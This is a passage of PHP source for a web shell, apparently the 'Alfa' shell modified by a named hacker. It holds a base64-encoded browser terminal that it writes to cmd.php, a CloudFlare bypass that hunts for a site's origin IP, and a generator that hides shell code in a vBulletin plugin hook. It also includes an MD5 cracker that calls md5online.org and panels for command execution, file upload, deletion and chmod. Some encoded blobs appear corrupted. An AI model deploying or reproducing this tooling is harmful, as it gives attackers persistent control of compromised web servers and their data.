dWUubGVuZ3RoOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIGFwcGVuZGRpcmVjdG9yeShzdHIpDQp7DQogaWYgKHN0ci5zdWJzdHIoMCwgMSk9PSIvIikNCiB3aW5kb3cuY3dkID0gc3RyOw0KIGVsc2UNCiB7DQogIHZhciBjID0gd2luZG93LmNScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCk3ZCsiLyIrc3RyOw0KICB2YXIgcmVhbCA9IG5ldyBBcnJheSgpOw0KICBjID0gYy5zcGxpdCgiLyIpOyB2YXIgaTsNCiAgZm9yKGk9MDtpPGMubGVuZ3RoO2krKykNCiAgew0KICAgaWYgKChjW2ldID09ICIuLiIpICYmIHJlYWwubGVuZ3RoPjApDQogICB7DQogICAgcmVhbC5zcGxpY2UocmVhbC5sZW5ndGgtMSwgMSk7DQogICB9DQogICBlbHNlIGlmICgoY1tpXSAhPSAiLiIpICYmIChjW2ldICE9ICIiKSkNCiAgIHJlYWwucHVzaChjW2ldKTsNCiAgfQ0KICB3aW5kb3cuY3dkID0gIi8iK3JlYWwuam9pbigiLyIpOw0KIH0NCn0NCmZ1bmN0aW9uIHdyaXRlbGFzdGxpbmUoc3RyKQ0Kew0KIHZhciBjYWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZS5zcGxpdCgiXG4iKSwgaTsNCiBjYWxsW2NhbGwubGVuZ3RoLTFdID0gc3RyOw0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgPSBjYWxsLmpvaW4oIlxuIik7DQp9DQpmdW5jdGlvbiBjbWR1cChlKQ0Kew0KIGlmICh3aW5kb3cuY29tbWFuZHMubGVuZ3RoPih3aW5kb3cudXBkaXIpKQ0KIHsNCiAgd2luZG93LnVwZGlyKys7DQogIHdyaXRlbGFzdGxpbmUoIiIpOw0KICBuZXdjbWQoKTsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSArPSB3aW5kb3cuY29tbWFuZHNbd2luZG93LmNvbW1hbmRzLmxlbmd0aC13aW5kb3cudXBkaXJdOw0KIH0NCiBpZiAoZS5zdG9wUHJvcGFnYXRpb24Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkpDQogew0KICBlLnN0b3BQcm9wYWdhdGlvbigpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsVG9wPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsSGVpZ2h0Ow0KfQ0KZnVuY3Rpb24gY21kb3duKGUpDQp7DQogaWYgKHdpbmRvdy51cGRpcj4xKQ0KIHsNCiAgd2luZG93LnVwZGlyLS07DQogIHdyaXRlbGFzdGxpbmUoIiIpOw0KICBuZXdjbWQoKTsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZSArPSB3aW5kb3cuY29tbWFuZHNbd2luZG93LmNvbW1hbmRzLmxlbmd0aC13aW5kb3cudXBkaXJdOw0KIH0NCiBpZiAoZS5zdG9wUHJvcGFnYXRpb24pDQogew0KICBlLnN0b3BQcm9wYWdhdGlvbigpOw0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogfQ0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsVG9wPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikuc2Nyb2xsSGVpZ2h0Ow0KfQ0KZnVuY3Rpb24gcG9zdEFzeW5jaHJvbm91c0FqYXgodXJsLCB2YWx1ZXMpDQp7DQogdmFyIHhtbGh0dHA7DQogaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCiB7DQogIHhtbGh0dHA9bmV3IFhNTEh0dHBSZXF1ZXN0KCkNCiAgeG1saHR0cC5vcGVuKCJQT1NUIix1cmwsdHJ1ZSk7DQogIHhtbGh0dHAuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgImFScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOw0KICB4bWxodHRwLnNlbmQodmFsdWVzKTsNCiAgeG1saHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKQ0KICB7DQogICBpZiAoeG1saHR0cC5yZWFkeVN0YXRlPT00KQ0KICAgew0KICAgIGlmICh4bWxodHRwLnN0YXR1cz09MjAwKQ0KICAgIHsNCiAgICAgZXZhbCh4bWxodHRwLnJlc3BvbnNlVGV4dCk7DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KQ0KIHsNCiAgeG1saHR0cD1uZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKQ0KICBpZiAoeG1saHR0cCkNCiAgew0KICAgeG1saHR0cC5vcGVuKCJQT1NUIix1cmwsdHJ1ZSk7DQogICB4bWxodHRwLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsNCiAgIHhtbGh0dHAuc2VuZCh2YWx1ZXMpOw0KICAgeG1saHR0cC5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKQ0KICAgew0KICAgIGlmICh4bWxodHRwLnJlYWR5U3RhdGU9PTQpDQogICAgew0KICAgICBpZiAoeG1saHR0cC5zdGF0dXM9PTIwMCkNCiAgICAgew0KICAgICAgZXZhbCh4bWxodHRwLnJlc3BvbnNlVGV4dCk7DQogICAgIH0NCiAgICB9DQogICB9DQogIH0NCiB9DQp9DQpmdW5jdGlvbiB1cmxlbmNvZGUgKHN0cikNCnsNCiByZXR1cm4gZW5jb2RlVVJJQ29tcG9uZW50KHN0cikucmVwbGFScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkjZSgvIS9nLCAnJTIxJykucmVwbGFjZSgvJy9nLCAnJTI3JykucmVwbGFjZSgvXCgvZywgJyUyOCcpLg0KIHJlcGxhY2UoL1wpL2csICclMjknKS5yZXBsYWNlKC9cKi9nLCAnJTJBJykucmVwbGFjZSgvJTIwL2csICcrJyk7DQp9DQpmdW5jdGlvbiBuZXdjbWQoKQ0Kew0KIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlsiK3dpbmRvdy5sb2dnZWR1c2VyKyJAPD9waHAgZWNobygkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOyA/PiAiKygod2luZG93LmN3ZD09Ii8iKT8oIi8iKTood2luZG93LmN3ZC5zcGxpdCgiLyIpW3dpbmRvdy5jd2Quc3BsaXQoIi8iKS5sZW5ndGgtMV0pKSsiXSMgIjsNCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbFRvcD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbEhlaWdodDsNCn0NCmZ1bmN0aW9uIGV4ZWMoZSkNCnsNCiB3aW5kb3cudXBkaXI9MDsNCiB2YXIgYWxsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNvbW1hbmQiKS52YWx1ZS5zcGxpdCgiXG4iKTsNCiBpZiAoYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpPT0iY2xlYXIiKQ0KIHsNCiAgd2luZG93LmNvbW1hbmRzID0gbmV3IEFycmF5KCk7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWU9IiI7DQogIG5ld2NtZCgpOw0KICBlLnByZXZlbnRScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkEZWZhdWx0KCk7DQogfQ0KIGVsc2UgaWYgKGFsbFthbGwubGVuZ3RoLTFdLnN1YnN0cihhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikpLnN1YnN0cigyLCAyKT09ImNkIikNCiB7DQogIGUucHJldmVudERlZmF1bHQoKTsNCiAgd2luZG93LmNvbW1hbmRzLnB1c2goYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKTsNCiAgaWYgKGFsbFthbGwubGVuZ3RoLTFdLnN1YnN0cihhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikpLnN1YnN0cig1KT09In4iKQ0KICB7DQogICB3aW5kb3cuY3dkID0gd2luZG93LmhvbWVjd2Q7DQogICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnZhbHVlICs9ICJcbiI7ICBuZXdjbWQoKTsNCiAgfQ0KICBlbHNlDQogIHsNCiAgIGFwcGVuZGRpcmVjdG9yeShhbGxbYWxsLmxlbmd0aC0xXS5zdWJzdHIoYWxsW2FsbC5sZW5ndGgtMV0uaW5kZXhPZigiIyIpKS5zdWJzdHIoNSkpOw0KICAgcG9zdEFzeW5jaHJvbm91c0FqYXgoIjw/cGhwIGVjaG8oJHRmKTsgPz4iLCAidmVyaWZ5PSIrdXJsZW5jb2RlKHdpbmRvdy5jd2QpKTsNCiAgfQ0KIH0NCiBlbHNlDQogew0KICBlLnByZXZlbnREZWZhdWx0KCk7DQogIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjb21tYW5kIikudmFsdWUgKz0gIlxuIjsNCiAgd2luZG93LmNvbW1hbmRzLnB1c2goYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKTsNCiAgcG9zdEFzeW5jaHJvbm91c0FqYXgoIjw/cGhwIGVjaG8oJHRmKTsgPz4iLCAianhjbWQ9Iit1cmxlbmNvZGUoYWxsW2FsbC5sZW5ndGgtMV0uc3Vic3RyKGFsbFthbGwubGVuZ3RoLTFdLmluZGV4T2YoIiMiKSkuc3Vic3RyKDIpKSsiJmN3ZD0iK3dpbmRvdy5jd2QpOw0KIH0NCiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbFRvcD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnNjcm9sbEhlaWdodDsNCn0NCmZ1bmN0aW9uIGJzcChlKQ0Kew0KIHZhciBhbGwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiY29tbWFuZCIpLnZhbHVlLnNwbGl0KCJcbiIpOw0KIGlmIChhbGxbYWxsLmxlbmd0aC0xXS5sZW5ndGg9PShhbGxbYWxsLmxlbmd0aC0xXS5pbmRleE9mKCIjIikrMikpDQogZS5wcmV2ZW50RGVmYXVsdCgpOw0KfQ0KPD9waHAgZWNobygnZnVuY3Rpb24gcGFyc2VrZXkoZSwgdGhzKXtpZiAoZS5rZXlDb2RlPT0xMyl7ZXhlYyhlKTt9ZWxzZSBpZihlLmtleUNvZGU9PTM4KXtjbWR1cChlKTtyZXR1cm4gZmFsc2U7fWVsc2UgaWYoZS5rZXlDb2RlPT00MCl7Y21kb3duKGUpO3JldHVybiBmYWxzZTt9ZWxzZSBpZihlLmtleUNvZGU9PTgpe2JzcChlKTt9fTwvc2NyaXB0Pjx0ZXh0YXJlYSByb3dzPTcgY29scz0xMzAgaWQ9ImNvbW1hbmQiIG9ua2V5cHJlc3M9InBhcnNla2V5KGV2ZW50LCB0aGlzKTsiPjwvdGVScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCk4dGFyZWE+PGJyPicpOz8+DQo8c2NyaXB0Pg0KbmV3Y21kKCk7DQo8L3NjcmlwdD4NCg==\';
$decode = base64_decode($code);
$sole = fopen(\'cmd.php\',\'w+\');
$sole2 = fwrite ($sole ,$decode);
fclose($sole);
echo \'<iframe src=cmd.php width=100% height=600px frameborder=0></iframe> \';
echo \'</div>\';
alfafooter();
}
function alfacloudflare(){
alfahead();
echo"<script>alfa1_=alfa2_=\"\"</script>
<div class=header><center>
<b><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Cloud </font> <font color=\"#FFFFFF\">Flare</font> <font color=\"#FF0000\">ByPasser</font><font color=\"#FFFF01\"> ==</font></b>
<form action=\'\' onsubmit=\"g(\'cloudflare\',null,this.url.value,this.go.value); return false;\" method=\'post\'>
<p><br><input type=\'text\' size=30 name=\'url\' placeholder=\"site.com\"><br/><br/>
<input type=\'submit\' name=\'go\' value=\'>>\' />
</p>
</form></center>";
if($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'>>\'){
function is_ipv4($ip)
{
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : \'(Null)\';
}
function getipCloudFlare($url){
$url = "http://www.cloudflare-watch.org/cgi-bin/cfsearch.cgi";
$login_data = "cfS=$url";
$login = curl_init();
curl_setopt($login, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0\');
curl_setopt($login, CURLOPT_TIMEOUT, 40);
curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($login, CURLOPT_URL, $url);
curl_setopt($login, CURLOPT_HEADER, 1);
curl_setopt($login, CURLOPT_USERAGENT, $_SERVER[\'HTTP_USER_AGENT\']);
curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($login, CURLOPT_POST, 1);
curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
$content= curl_exec($login);
if (preg_match("/<UL><LI>(.*?)<\/UL>/",$content,$find)){
// if (preg_match("/<UL><LI>(.*?): $url (.*?) (.*?)<\/UL>/s",$content,$find)){
return $find[1];
}
else {
return \'Error\';
}
curl_close($login);
}
$me = $argv[0];
$url = $_POST[\'alfa1\'];
if(!preg_match(\'/^(https?):\/\/(w{3}|w3)\./i\', $url)){
$url = preg_replace(\'/^(https?):\/\//\', \'\', $url);
$url = "http://www.".$url;
}
$headers = get_headers($url, 1);
$server = $headers[\'Server\'];
$subs = array(\'cpanel.\', \'ftp.\', \'server1.\', \'cdn.\', \'cdn2.\', \'ns.\', \'ns1.\', \'mail.\', \'webmail.\', \'direct.\', \'direct-connect.\', \'record.\', \'ssl.\', \'dns.\', \'help.\', \'blog.\', \'irc.\', \'forum.\');
$count = count($subs);
if(preg_match(\'/^(https?):\/\/(w{3}|w3)\./i\', $url, $matches))
{
if($matches[2] != \'www\')
{
$url = preg_replace(\'/^(https?):\/\//\', \'\', $url);
}
else
{
$url = explode($matches[0], $url);
$url = $url[1];
}
}
if(is_array($server))
$server = $server[0];
echo \'<pre id="strOutput" style="margin-top:8px" class="ml1"><br/>\';
if(preg_match(\'/cloudflare/i\', $server))
echo "
[+] CloudFlare detected: {$server}
<br>";
else
echo "
[+] CloudFlare wasn\'t detected, proceeding anyway.
";
echo \'[+] CloudFlare IP: \' . is_ipv4(gethostbyname($url)) . "

<br><br>";
echo "[+] Searching for more IP addresses.

<br><br>";
for($x = 0; $x < $count; $x++)
{
$site = $subs[$x] . $url;
$ip = is_ipv4(gethostbyname($site));
if($ip == \'(Null)\')
continue;
echo "Trying {$site}: {$ip}
<br>";
}
// echo getipCloudFlare($url)."<br>";
echo "
[+] Finished.
<br>";
}
echo \'</div>\';
alfafooter();
}
function alfaphp2xml(){
alfahead();
echo"<script>alfa1_=alfa2_=\"\"</script>
<div class=header><center>
<b><b><br><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">Shell</font> <font color=\"#FFFFFF\">For</font> <font color=\"#FF0000\">vBulletin</font><font color=\"#FFFF01\"> ==</font></b>
<form action=\'\' onsubmit=\"g(\'php2xml\',null,this.code.value,this.go.value); return false;\" method=\'post\'>
<p><br><textarea rows=\'12\' cols=\'70\' type=\'text\' name=\'code\' placeholder=\"insert your shell code\"></textarea><br/><br/>
<input type=\'submit\' name=\'go\' value=\'Convert\' />&nbsp;&nbsp;<input type=\'reset\' value=\'Clear\' name=\'B2\'><br/><br/>
</p>
</form></center>";
if($_POST[\'alfa2\'] && $_POST[\'alfa2\'] == \'Convert\' ) {
if ( get_magic_quotes_gpc() ){
$code=stripslashes($_POST[\'alfa1\']);
}
else{
$code=$_POST[\'alfa1\'];
}
$code = \'base64_decode(\'.$code.\')\';
$sole = \'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pg0KDQo8cGx1Z2lucz4NCgk8cGx1Z2luIGFjdGl2ZT0iMSIgcHJvZHVjdD0idmJ1bGxldGluIj4NCgkJPHRpdGxlPnZCdWxsZXRpbjwvdGl0bGU+DQoJCTxob29rbmFtZT5pbml0X3N0YXJ0dXA8L2hvb2tuYW1lPg0KCQk8cGhwY29kZT48IVtDREFUQVtpZiAoc3RycG9zKCRfU0VSVkVSWydQSFBfU0VMRiddLCJzdWJzY3JpcHRpb25zLnBocCIpKSB7\';
$invis = \'ZXhpdDsNCn1dXT48L3BocGNvZGU+DQoJPC9wbHVnaW4+DQo8L3BsdWdpbnM+\';
echo"<pre id=\"strOutput\" style=\"margin-top:8px\" class=\"ml1\"><br/><center><textarea rows=\'10\' name=\'users\' cols=\'80\' style=\'border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0\'>";
echo base64_decode("$sole").\'base64_decode(\'\'.base64_encode($code).\'\');\'.base64_decode("$invis");
echo \'</textarea></center><br>\';
}
echo \'</center></div>\';
alfafooter();
}
function alfacpcrack()
{
alfahead();
echo \'<div class=header>\';
function cracker($pass){
$url = "http://md5online.org";
$login_data = "md5=$pass&search=0&action=decrypt&a=63443026";
$login = curl_init();
curl_setopt($login, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0\');
curl_setopt($login, CURLOPT_TIMEOUT, 40);
curl_setopt($login, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($login, CURLOPT_URL, $url);
curl_setopt($login, CURLOPT_HEADER, 1);
curl_setopt($login, CURLOPT_USERAGENT, $_SERVER[\'HTTP_USER_AGENT\']);
curl_setopt($login, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($login, CURLOPT_POST, 1);
curl_setopt($login, CURLOPT_POSTFIELDS, $login_data);
$content= curl_exec($login);
if (preg_match("/<span style=\'color:limegreen\'>Found : <b>(.*?)<\/b><\/span>/s",$content,$find)){
return \'<table border="1"><td>\'.\'<font color=white></font>\'.\' <font color=white>Found : </font><b><font color=lightgreen>\'.$find[1].\'</font></b></td></table><br>\';
}
else {
return \'<table border="1"><td>\'.\'<font color=white>[+]</font>\'.\' <font color=white>No result found -></font> \'.\'<b><font color=red>\'.$pass .\'</font></b></td></table><br>\';
}
curl_close($login);
}
echo \'<center><script>alfa6_=alfa7_=alfa9_=\"\"</script>
<form onsubmit="g(\'cpcrack\',null,this.md5.value,this.go.value); return false;" method="post" action="" />
<input type="text" placeholder="Hash" name="md5" size="40" id="text" />
<input type="submit" value=">>" name="go" />
</form></center>
\';
if($_POST[\'alfa2\'] == \'>>\'){
$hash = $_POST[\'alfa1\'];
$res = cracker($hash);
echo \'<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center>\'.$res.\'</center>\';
}
echo \'</div>\';
alfafooter();
}
function alfafooter()
{
echo "<table class=\'foot\' width=\'100%\' border=\'0\' cellspacing=\'3\' cellpadding=\'0\' >
<tr>
<td width=\'17%\'><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\"><span><font color=#27979B>Make File : </font></span><br><input class=\'dir\' type=text name=f value=\'\'><input type=submit value=\'>>\'></form></td>
<td width=\'21%\'><form onsubmit=\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\"><span><font color=#27979B>Make Dir : </font></span><br><input class=\'dir\' type=text name=d value=\'\'><input type=submit value=\'>>\'></form></td>
<td width=\'22%\'><form onsubmit=\"g(\'FilesMan\',null,\'delete\',this.del.value);return false;\"><span><font color=#27979B>Delete : </font></span><br><input class=\'dir\' type=text name=del value=\'\'><input type=submit value=\'>>\'></form></td>
<td width=\'19%\'><form onsubmit=\"g(\'FilesTools\',null,this.f.value,\'chmod\');return false;\"><span><font color=#27979B>Chmod : </font></span><br><input class=\'dir\' type=text name=f value=\'\'><input type=submit value=\'>>\'></form></td>
</tr>
<tr>
<td colspan=\'2\'><form onsubmit=\'g(null,this.c.value,\"\");return false;\'><span><font color=#27979B>Change Dir : </font></span><br><input class=\'foottable\' type=text name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\'])."\'><input type=submit value=\'>>\'></form></td>
<td colspan=\'2\'><form method=\'post\' ><span><font color=#27979B>Http Download : </font></span><br><input class=\'foottable\' type=text name=rtdown value=\'\'><input type=submit value=\'>>\'></form></td>
</tr>
<tr>
<td colspan=\'4\'><form onsubmit=\"g(\'proc\',null,this.c.value);return false;\"><span><font color=#27979B>Execute : </font></span><br><input class=\'foottable\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>
</tr>
<tr>
<td colspan=\'4\'><form method=\'post\' ENCTYPE=\'multipart/form-data\'>
<input type=hidden name=a value=\'FilesMAn\'>
<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>
<input type=hidden name=alfa1 value=\'uploadFile\'>
<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>
<span><font color=#27979B>Upload file:</font></span><br><input class=\'toolsInp\' type=file name=f><br /><input type=submit value=\'>>\'></form></td>
</tr>
<tr><td colspan=\'4\'><font color=\'red\'>Modified by 5y5t3M_cR45h3R || Specially thanks to X Code Pagla || CyBER-71</font></td></tr>
</table>
</div>
</body>
</html>
";
}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {
function posix_getgrgid($p) {return false;} }
function alfaWhich($p) {
$path = alfaEx(\'which \' . $p);
if(!empty($path))
return $path;
return false;
}
function alfaSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function alfaPermsColor($f) {
if (!@is_readable($f))
return \'<font color=#FF0000>\' . alfaPerms(@fileperms($f)) . \'</font>\';
elseif (!@is_writable($f))
return \'<font color=white>\' . alfaPerms(@fileperms($f)) . \'</font>\';
else
return \'<font color=#25ff00>\' . alfaPerms(@fileperms($f)) . \'</font>\';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function alfaFilesMan() {
alfahead();
echo \'<div class=header><script>alfa1_=alfa2_=alfa3_="";</script>\';
if(!empty($_POST[\'alfa1\'])) {
switch($_POST[\'alfa1\']) {
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
echo "<b><font color=\"#FFFFFF\">Can\'t upload file<b></font>";
break;
case \'mkdir\':
if(!@mkdir($_POST[\'alfa2\']))
echo "<b><font color=\"#FFFFFF\">Can\'t create new dir<b></font>";
break;
case \'delete\':
function deleteDir($path) {
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_dir(@$_POST[\'alfa2\']))
deleteDir(@$_POST[\'alfa2\']);
else
@unlink(@$_POST[\'alfa2\']);
break;
default:
if(!empty($_POST[\'alfa1\'])) {
$_SESSION[\'act\'] = @$_POST[\'alfa1\'];
$_SESSION[\'f\'] = @$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k => $f)
$_SESSION[\'f\'][$k] = urldecode($f);
$_SESSION[\'c\'] = @$_POST[\'c\'];
}
break;
}
}
$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false) { echo \'<h3><span>| Access Denied :( |</span></h3></div>\';alfaFooter(); return; }
global $sort;
$sort = array(\'name\', 1);
if(!empty($_POST[\'alfa1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'alfa1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\' >
<form name=files method=post><tr><th><font color=\"#FFFFFF\"><b>Name</font></b></th><th><font color=\"#FFFFFF\"><b>Size<font></b></th><th><font color=\"#FFFFFF\"><b>Modify</b></font></th><th><font color=\"#FFFFFF\"><b>Owner/Group</font></b></th><th><font color=\"#FFFFFF\"><b>Permissions</font></b></th><th><font color=\"#FFFFFF\"><b>Actions</b></font></th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(\'name\' => $dirContent[$i],
\'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
\'modify\' => @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),
\'perms\' => alfaPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),
\'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
\'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),
\'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))
$files[] = array_merge($tmp, array(\'type\' => \'file\'));
elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));
elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));
}
$GLOBALS[\'sort\'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS[\'sort\'][0] != \'size\')
return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);
else
return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
